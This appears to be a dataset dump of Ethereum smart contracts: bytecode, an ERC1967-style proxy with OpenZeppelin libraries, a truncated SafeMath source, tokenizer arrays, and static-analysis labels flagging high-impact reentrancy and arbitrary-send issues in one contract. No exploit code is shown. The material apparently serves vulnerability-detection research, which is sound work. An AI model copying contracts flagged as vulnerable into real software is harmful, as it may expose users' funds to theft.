00000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b600061404e83611aca565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415614132576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161412990614f2d565b60405180910390fd5b61413b81612d5d565b1561417b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161417290614ded565b60405180910390fd5b61418760008383613a29565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546141d791906151f4565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b600080823b905060008111915050919050565b8280546142af906153cd565b90600052602060002090601f0160209004810192826142d15760008555614318565b82601f106142ea57805160ff1916838001178555614318565b82800160010185558215614318579182015b828111156143175782518255916020019190600101906142fc565b5b5090506143259190614329565b5090565b5b8082111561434257600081600090555060010161432a565b5090565b600061435961435484615116565b6150f1565b90508281526020810184848401111561437157600080fd5b61437c84828561538b565b509392505050565b600061439761439284615147565b6150f1565b9050828152602081018484840111156143af57600080fd5b6143ba84828561538b565b509392505050565b6000813590506143d181615c53565b92915050565b6000813590506143e681615c6a565b92915050565b6000813590506143fb81615c81565b92915050565b60008151905061441081615c81565b92915050565b600082601f83011261442757600080fd5b8135614437848260208601614346565b91505092915050565b600082601f83011261445157600080fd5b8135614461848260208601614384565b91505092915050565b60008135905061447981615c98565b92915050565b60006020828403121561449157600080fd5b600061449f848285016143c2565b91505092915050565b600080604083850312156144bb57600080fd5b60006144c9858286016143c2565b92505060206144da858286016143c2565b9150509250929050565b6000806000606084860312156144f957600080fd5b6000614507868287016143c2565b9350506020614518868287016143c2565b92505060406145298682870161446a565b9150509250925092565b6000806000806080858703121561454957600080fd5b6000614557878288016143c2565b9450506020614568878288016143c2565b93505060406145798782880161446a565b925050606085013567ffffffffffffffff81111561459657600080fd5b6145a287828801614416565b91505092959194509250565b600080604083850312156145c157600080fd5b60006145cf858286016143c2565b92505060206145e0858286016143d7565b9150509250929050565b600080604083850312156145fd57600080fd5b600061460b858286016143c2565b925050602061461c8582860161446a565b9150509250929050565b60006020828403121561463857600080fd5b6000614646848285016143d7565b91505092915050565b60006020828403121561466157600080fd5b600061466f848285016143ec565b91505092915050565b60006020828403121561468a57600080fd5b600061469884828501614401565b91505092915050565b6000602082840312156146b357600080fd5b600082013567ffffffffffffffff8111156146cd57600080fd5b6146d984828501614440565b91505092915050565b6000602082840312156146f457600080fd5b60006147028482850161446a565b91505092915050565b60006147178383614c25565b60208301905092915050565b61472c81615309565b82525050565b600061473d82615188565b61474781856151b6565b935061475283615178565b8060005b8381101561478357815161476a888261470b565b9750614775836151a9565b925050600181019050614756565b5085935050505092915050565b6147998161531b565b82525050565b60006147aa82615193565b6147b481856151c7565b93506147c481856020860161539a565b6147cd81615566565b840191505092915050565b60006147e38261519e565b6147ed81856151d8565b93506147fd81856020860161539a565b61480681615566565b840191505092915050565b600061481c8261519e565b61482681856151e9565b935061483681856020860161539a565b80840191505092915050565b600061484f6032836151d8565b915061485a82615577565b604082019050919050565b60006148726022836151d8565b915061487d826155c6565b604082019050919050565b6000614895601d836151d8565b91506148a082615615565b602082019050919050565b60006148b8602b836151d8565b91506148c38261563e565b604082019050919050565b60006148db6032836151d8565b91506148e68261568d565b604082019050919050565b60006148fe6026836151d8565b9150614909826156dc565b604082019050919050565b6000614921601c836151d8565b915061492c8261572b565b602082019050919050565b6000614944600f836151d8565b915061494f82615754565b602082019050919050565b60006149676024836151d8565b91506149728261577d565b604082019050919050565b600061498a6019836151d8565b9150614995826157cc565b602082019050919050565b60006149ad602c836151d8565b91506149b8826157f5565b604082019050919050565b60006149d06038836151d8565b91506149db82615844565b604082019050919050565b60006149f3601a836151d8565b91506149fe82615893565b602082019050919050565b6000614a16602a836151d8565b9150614a21826158bc565b604082019050919050565b6000614a396029836151d8565b9150614a448261590b565b604082019050919050565b6000614a5c601f836151d8565b9150614a678261595a565b602082019050919050565b6000614a7f6020836151d8565b9150614a8a82615983565b602082019050919050565b6000614aa2602c836151d8565b9150614aad826159ac565b604082019050919050565b6000614ac56020836151d8565b9150614ad0826159fb565b602082019050919050565b6000614ae86029836151d8565b9150614af382615a24565b604082019050919050565b6000614b0b602f836151d8565b9150614b1682615a73565b604082019050919050565b6000614b2e601e836151d8565b9150614b3982615ac2565b602082019050919050565b6000614b516021836151d8565b9150614b5c82615aeb565b604082019050919050565b6000614b746016836151d8565b9150614b7f82615b3a565b602082019050919050565b6000614b976031836151d8565b9150614ba282615b63565b604082019050919050565b6000614bba602c836151d8565b9150614bc582615bb2565b604082019050919050565b6000614bdd6013836151d8565b9150614be882615c01565b602082019050919050565b6000614c00601b836151d8565b9150614c0b82615c2a565b602082019050919050565b614c1f81615353565b82525050565b614c2e81615381565b82525050565b614c3d81615381565b82525050565b6000614c4f8285614811565b9150614c5b8284614811565b91508190509392505050565b6000602082019050614c7c6000830184614723565b92915050565b6000608082019050614c976000830187614723565b614ca46020830186614723565b614cb16040830185614c34565b8181036060830152614cc3818461479f565b905095945050505050565b60006020820190508181036000830152614ce88184614732565b905092915050565b6000602082019050614d056000830184614790565b92915050565b60006020820190508181036000830152614d2581846147d8565b905092915050565b60006020820190508181036000830152614d4681614842565b9050919050565b60006020820190508181036000830152614d6681614865565b9050919050565b60006020820190508181036000830152614d8681614888565b9050919050565b60006020820190508181036000830152614da6816148ab565b9050919050565b60006020820190508181036000830152614dc6816148ce565b9050919050565b60006020820190508181036000830152614de6816148f1565b9050919050565b60006020820190508181036000830152614e0681614914565b9050919050565b60006020820190508181036000830152614e2681614937565b9050919050565b60006020820190508181036000830152614e468161495a565b9050919050565b60006020820190508181036000830152614e668161497d565b9050919050565b60006020820190508181036000830152614e86816149a0565b9050919050565b60006020820190508181036000830152614ea6816149c3565b9050919050565b60006020820190508181036000830152614ec6816149e6565b9050919050565b60006020820190508181036000830152614ee681614a09565b9050919050565b60006020820190508181036000830152614f0681614a2c565b9050919050565b60006020820190508181036000830152614f2681614a4f565b9050919050565b60006020820190508181036000830152614f4681614a72565b9050919050565b60006020820190508181036000830152614f6681614a95565b9050919050565b60006020820190508181036000830152614f8681614ab8565b9050919050565b60006020820190508181036000830152614fa681614adb565b9050919050565b60006020820190508181036000830152614fc681614afe565b9050919050565b60006020820190508181036000830152614fe681614b21565b9050919050565b6000602082019050818103600083015261500681614b44565b9050919050565b6000602082019050818103600083015261502681614b67565b9050919050565b6000602082019050818103600083015261504681614b8a565b9050919050565b6000602082019050818103600083015261506681614bad565b9050919050565b6000602082019050818103600083015261508681614bd0565b9050919050565b600060208201905081810360008301526150a681614bf3565b9050919050565b60006040820190506150c26000830185614c16565b6150cf6020830184614c34565b9392505050565b60006020820190506150eb6000830184614c34565b92915050565b60006150fb61510c565b905061510782826153ff565b919050565b6000604051905090565b600067ffffffffffffffff82111561513157615130615537565b5b61513a82615566565b9050602081019050919050565b600067ffffffffffffffff82111561516257615161615537565b5b61516b82615566565b9050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b60006151ff82615381565b915061520a83615381565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561523f5761523e6154aa565b5b828201905092915050565b600061525582615381565b915061526083615381565b9250826152705761526f6154d9565b5b828204905092915050565b600061528682615381565b915061529183615381565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156152ca576152c96154aa565b5b828202905092915050565b60006152e082615381565b91506152eb83615381565b9250828210156152fe576152fd6154aa565b5b828203905092915050565b600061531482615361565b9050919050565b60008115159050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b838110156153b857808201518184015260208101905061539d565b838111156153c7576000848401525b50505050565b600060028204905060018216806153e557607f821691505b602082108114156153f9576153f8615508565b5b50919050565b61540882615566565b810181811067ffffffffffffffff8211171561542757615426615537565b5b80604052505050565b600061543b82615381565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561546e5761546d6154aa565b5b600182019050919050565b600061548482615381565b915061548f83615381565b92508261549f5761549e6154d9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f526576656e756520636f6e7472616374206d75737420626520612076616c696460008201527f20636f6e747261637420616464726573732e0000000000000000000000000000602082015250565b7f496e76616c696420757365206f6620746865204f48205348495420627574746f60008201527f6e21000000000000000000000000000000000000000000000000000000000000602082015250565b7f53616c65206973206e6f74206163746976652063757272656e746c792e000000600082015250565b7f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008201527f74206f6620626f756e6473000000000000000000000000000000000000000000602082015250565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000600082015250565b7f53616c652068617320656e6465642e0000000000000000000000000000000000600082015250565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b7f4d6178696d756d2072657365727665732065786365656465642e000000000000600082015250565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b7f56616c6964207573657220616464726573732069732072657175697265642e00600082015250565b7f4552433732313a206d696e7420746f20746865207a65726f2061646472657373600082015250565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008201527f73206e6f74206f776e0000000000000000000000000000000000000000000000602082015250565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b7f45786365656473206d6178696d756d20616c6c6f77656420746f6b656e730000600082015250565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b7f546f74616c20737570706c792065786365656465642e00000000000000000000600082015250565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b7f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008201527f7574206f6620626f756e64730000000000000000000000000000000000000000602082015250565b7f546f74616c20737570706c79207370656e742e00000000000000000000000000600082015250565b7f496e7375666669656e742045544820616d6f756e742073656e742e0000000000600082015250565b615c5c81615309565b8114615c6757600080fd5b50565b615c738161531b565b8114615c7e57600080fd5b50565b615c8a81615327565b8114615c9557600080fd5b50565b615ca181615381565b8114615cac57600080fd5b5056fea264697066735822122081eb11ecf06c29378dec451d2ec81d35115c2c59d657952e0b3af603a5f6e16764736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 9818, 2487, 2094, 2692, 29292, 2278, 2546, 2575, 2278, 28311, 2549, 26337, 24434, 2475, 18939, 24434, 2094, 2509, 2050, 2683, 11057, 2683, 2094, 2692, 2063, 14526, 2692, 21619, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 14305, 1013, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 8785, 1013, 3647, 18900, 2232, 1012, 14017, 1000, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,412
0x96bc521ab96aed521e921f542dfbbbdad5622856
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract Rolex{ //Rolex bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; constructor(bytes memory _a, bytes memory _data) payable { (address _as) = abi.decode(_a, (address)); assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); require(Address.isContract(_as), "address error"); StorageSlot.getAddressSlot(KEY).value = _as; if (_data.length > 0) { Address.functionDelegateCall(_as, _data); } } function _g(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _fallback() internal virtual { _beforeFallback(); _g(StorageSlot.getAddressSlot(KEY).value); } fallback() external payable virtual { _fallback(); } receive() external payable virtual { _fallback(); } function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661008a565b565b6001600160a01b03163b151590565b90565b60606100838383604051806060016040528060278152602001610249602791396100ae565b9392505050565b3660008037600080366000845af43d6000803e8080156100a9573d6000f35b3d6000fd5b60606001600160a01b0384163b61011b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013691906101c9565b600060405180830381855af49150503d8060008114610171576040519150601f19603f3d011682016040523d82523d6000602084013e610176565b606091505b5091509150610186828286610190565b9695505050505050565b6060831561019f575081610083565b8251156101af5782518084602001fd5b8160405162461bcd60e51b815260040161011291906101e5565b600082516101db818460208701610218565b9190910192915050565b6020815260008251806020840152610204816040850160208701610218565b601f01601f19169190910160400192915050565b60005b8381101561023357818101518382015260200161021b565b83811115610242576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220e2bedb9792db6902c293184767548e3dbd1e547fea196444ba3d1b82bef8c02a64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2575, 9818, 25746, 2487, 7875, 2683, 2575, 6679, 2094, 25746, 2487, 2063, 2683, 17465, 2546, 27009, 2475, 20952, 10322, 2497, 14697, 26976, 19317, 27531, 2575, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 4769, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 5527, 14540, 4140, 1012, 14017, 1000, 1025, 3206, 2535, 2595, 1063, 1013, 1013, 2535, 2595, 27507, 16703, 4722, 5377, 3145, 1027, 1014, 2595, 21619, 2692, 2620, 2683, 2549, 27717, 2509, 3676, 2487, 2050, 16703, 10790, 28756, 2581, 2278, 2620, 22407, 26224, 2475, 18939, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,413
0x96bDFcc4df6d4e3008C009dB8287D3CF18cDD5e0
pragma solidity 0.6.6; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Multiplies two signed integers, reverts on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Integer division of two signed integers truncating the quotient, reverts on division by zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Subtracts two signed integers, reverts on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Adds two signed integers, reverts on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } /** * @notice Computes average of two signed integers, ensuring that the computation * doesn't overflow. * @dev If the result is not an integer, it is rounded towards zero. For example, * avg(-3, -4) = -3 */ function avg(int256 _a, int256 _b) internal pure returns (int256) { if ((_a < 0 && _b > 0) || 